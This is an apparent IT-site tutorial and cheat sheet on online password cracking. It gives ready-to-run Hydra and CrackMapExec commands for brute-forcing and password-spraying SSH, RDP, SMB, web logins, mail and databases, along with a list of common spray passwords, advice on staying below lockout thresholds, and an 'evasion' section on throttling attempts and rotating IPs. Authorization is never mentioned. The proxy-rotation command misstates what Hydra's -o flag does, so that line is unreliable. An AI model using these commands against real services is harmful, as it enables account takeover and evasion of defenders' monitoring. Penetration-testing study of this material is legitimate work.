Techzone/Online Password Cracking Tools

Online Password Cracking Tools

3 min readArticle

Online cracking tools attack live services — they try passwords against real authentication endpoints. Unlike offline cracking (hash dumping then cracking locally), online attacks are slower, generate logs on the target, and often trigger lockout policies. Use carefully and know the target's lockout thresholds.

Key Tools

  • hydra-brute-force-guide — The standard. Supports 50+ protocols
  • Medusa — Similar to Hydra, sometimes better for certain protocols
  • Ncrack — Nmap project's credential tester
  • CrackMapExec (CME) — Windows/AD specific, excellent spray tool

When to Use Online vs Offline

Scenario Method
Have password hashes Offline (Hashcat, John) — faster, no lockout risk
No hashes, need access Online (Hydra) — slower, lockout risk
Many users, 1-2 passwords Password spray — minimize lockout risk
One user, many passwords Brute force — high lockout risk

Protocol Cheat Sheet (Hydra)

bash 
# SSH
hydra -l admin -P wordlist.txt ssh://192.168.1.1

# FTP
hydra -l admin -P wordlist.txt ftp://192.168.1.1

# RDP
hydra -l administrator -P wordlist.txt rdp://192.168.1.1

# SMB
hydra -l administrator -P wordlist.txt smb://192.168.1.1

# Web login form
hydra -l admin -P wordlist.txt 192.168.1.1 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid"

# SMTP
hydra -l [email protected] -P wordlist.txt smtp://mail.server.com

# MySQL
hydra -l root -P wordlist.txt mysql://192.168.1.1

Password Spraying

Spray is the responsible way to do online attacks — try ONE password against MANY users. This minimizes lockout risk.

bash 
# Spray with Hydra (-u flag = loop by user, not password)
hydra -L users.txt -p "Password123!" -u ssh://192.168.1.1

# With CrackMapExec (Windows environments)
cme smb 192.168.1.0/24 -u users.txt -p "Password123!" --continue-on-success

# Common spray passwords to try
Password1
Password123
Summer2024!
Winter2024!
CompanyName123!
Welcome1

Lockout Policy Research

Before attacking, try to determine lockout policy:

  • Default Windows: 5 attempts → 30 min lockout
  • If unknown, try 3 attempts per account max
  • Wait 30-60 mins between sprays if lockout policy unknown
  • Some services have no lockout (older SSH configs, FTP)

Web Services — Finding the Right Parameters

To attack a web login form:

  1. Open DevTools (F12) → Network tab
  2. Submit a test login
  3. Find the POST request
  4. Copy the form data fields
  5. Identify the failure text on the page
bash 
# Example: login form with username/password fields
hydra -l admin -P rockyou.txt targetsite.com http-post-form \
  "/auth/login:email=^USER^&password=^PASS^&remember=on:F=Authentication failed"

Rate Limiting and Evasion

bash 
# Slow down Hydra
hydra -t 1 -W 5 -l admin -P list.txt ssh://target  # 1 task, 5 sec wait

# Randomize timing
hydra -t 4 -W 2 -l admin -P list.txt ssh://target

# Use proxy to rotate IPs (advanced)
hydra -l admin -P list.txt -o proxies.txt ssh://target

Online Hash Cracking Services

For quick lookups of common hashes:

  • crackstation.net — Free, huge precomputed hash table
  • hashes.com — Submit hashes, crowdsourced cracking
  • hashkiller.io — Similar service
bash 
# Look up MD5 hash
curl "https://md5.gromweb.com/?md5=5f4dcc3b5aa765d61d8327deb882cf99"
# Returns: password

Warning: Don't submit client/sensitive hashes to these services.

See Also

  • hydra-brute-force-guide — Full Hydra reference
  • ../offline-tools/index — Offline cracking (faster, no lockout)
  • ../wordlists-art/index — Building wordlists for attacks
techzonesite.comUnlock Your IT Potential